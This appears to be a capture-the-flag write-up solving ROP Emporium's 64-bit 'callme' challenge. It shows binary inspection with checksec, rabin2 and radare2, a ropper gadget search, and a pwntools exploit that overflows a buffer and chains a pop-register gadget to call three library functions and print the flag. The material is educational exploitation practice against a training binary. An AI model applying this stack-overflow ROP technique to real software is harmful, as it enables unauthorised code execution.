Ropemporium callme 64bit
“Failure is not an option”
Important note >⌗
To dispose of the need for any RE I’ll tell you the following You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
The challenge files can be found here ~> callme
Before getting our hands onto the challenge let’s take a look at x86-64 calling conventions
+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
+---------+------+------+------+------+------+------+
To understand calling conventions better take a look here ~> calling convetions
Now lets take a look at the challenge binary
callme64 ➤ checksec callme
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/2-callme/callme64/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
This looks similar to the previous challenge we solved
Lets checkout the functions which are imported from the shared object file
callme64 ➤ rabin2 -i callme
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC puts
2 0x004006e0 GLOBAL FUNC printf
3 0x004006f0 GLOBAL FUNC callme_three
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 0x00000000 GLOBAL FUNC __libc_start_main
7 0x00400720 GLOBAL FUNC callme_one
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x00400730 GLOBAL FUNC setvbuf
10 0x00400740 GLOBAL FUNC callme_two
11 0x00400750 GLOBAL FUNC exit
Yes we can see the functions which are need for the exploit let’s take a note of them…..
Next up let’s check the functions present in the binary
[0x00400760]> afl
0x00400760 1 42 entry0
0x004006a8 3 23 sym._init
0x004009b4 1 9 sym._fini
0x004007a0 4 42 -> 37 sym.deregister_tm_clones
0x004007d0 4 58 -> 55 sym.register_tm_clones
0x00400810 3 34 -> 29 sym.__do_global_dtors_aux
0x00400840 1 7 entry.init0
0x00400898 1 90 sym.pwnme
0x00400700 1 6 sym.imp.memset
0x004006d0 1 6 sym.imp.puts
0x004006e0 1 6 sym.imp.printf
0x00400710 1 6 sym.imp.read
0x004008f2 1 74 sym.usefulFunction
0x004006f0 1 6 sym.imp.callme_three
0x00400740 1 6 sym.imp.callme_two
0x00400720 1 6 sym.imp.callme_one
0x00400750 1 6 sym.imp.exit
0x004009b0 1 2 sym.__libc_csu_fini
0x00400940 4 101 sym.__libc_csu_init
0x00400790 1 2 sym._dl_relocate_static_pie
0x00400847 1 81 main
0x00400730 1 6 sym.imp.setvbuf
Again we have a useful function lets take a look at it
[0x00400760]> s sym.usefulFunction
[0x004008f2]> pdf
┌ 74: sym.usefulFunction ();
│ 0x004008f2 push rbp
│ 0x004008f3 mov rbp, rsp
│ 0x004008f6 mov edx, 6
│ 0x004008fb mov esi, 5
│ 0x00400900 mov edi, 4
│ 0x00400905 call sym.imp.callme_three
│ 0x0040090a mov edx, 6
│ 0x0040090f mov esi, 5
│ 0x00400914 mov edi, 4
│ 0x00400919 call sym.imp.callme_two
│ 0x0040091e mov edx, 6
│ 0x00400923 mov esi, 5
│ 0x00400928 mov edi, 4
│ 0x0040092d call sym.imp.callme_one
│ 0x00400932 mov edi, 1 ; int status
└ 0x00400937 call sym.imp.exit ; void exit(int status)
From this we can understand we need to pass the values three times and call the functions respectively and as per the important note given by the challenge author we can figure out the overview of solving the challenge
40 bytes to overflow
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_one
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_two
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_three
ROP gadgets⌗
amd64 calling convention requires the arguments to a function to reside in
%rdi, %rsi, %rdx
To get the values into registers to pass the arguments, we’ll need a gadget that will pop values from the stack into these registers.
Lets checkout the gadgets now using ropper
callme64 ➤ ropper --file callme --search 'pop'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop
[INFO] File: callme
0x000000000040099c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099e: pop r13; pop r14; pop r15; ret;
0x00000000004009a0: pop r14; pop r15; ret;
0x00000000004009a2: pop r15; ret;
0x00000000004007bb: pop rbp; mov edi, 0x601070; jmp rax;
0x000000000040099b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099f: pop rbp; pop r14; pop r15; ret;
0x00000000004007c8: pop rbp; ret;
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; # The exact gadget we need :)
0x00000000004009a3: pop rdi; ret;
0x000000000040093e: pop rdx; ret;
0x00000000004009a1: pop rsi; pop r15; ret;
0x000000000040093d: pop rsi; pop rdx; ret;
0x000000000040099d: pop rsp; pop r13; pop r14; pop r15; ret;
we have a gadget that satisfies our exact need lets take a note of it 0x000000000040093c
Exploitation⌗
Now lets craft our exploit :)
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./callme', checksec=False)
io = process(exe.path)
gadget = 0x000000000040093c #pop rdi; pop rsi; pop rdx; ret
one = 0xdeadbeefdeadbeef
two = 0xcafebabecafebabe
three = 0xd00df00dd00df00d
payload = flat([
cyclic(40),
gadget, one, two, three, exe.sym['callme_one'],
gadget, one, two, three, exe.sym['callme_two'],
gadget, one, two, three, exe.sym['callme_three']
])
io.sendline(payload)
io.interactive()
Lets run our exploit to check if it works
callme64 ➤ python xpl.py
[+] Starting local process './callme': pid 8013
[*] Switching to interactive mode
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
[*] Process './callme' stopped with exit code 0 (pid 8013)
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
Yea our exploit works fine as expected :)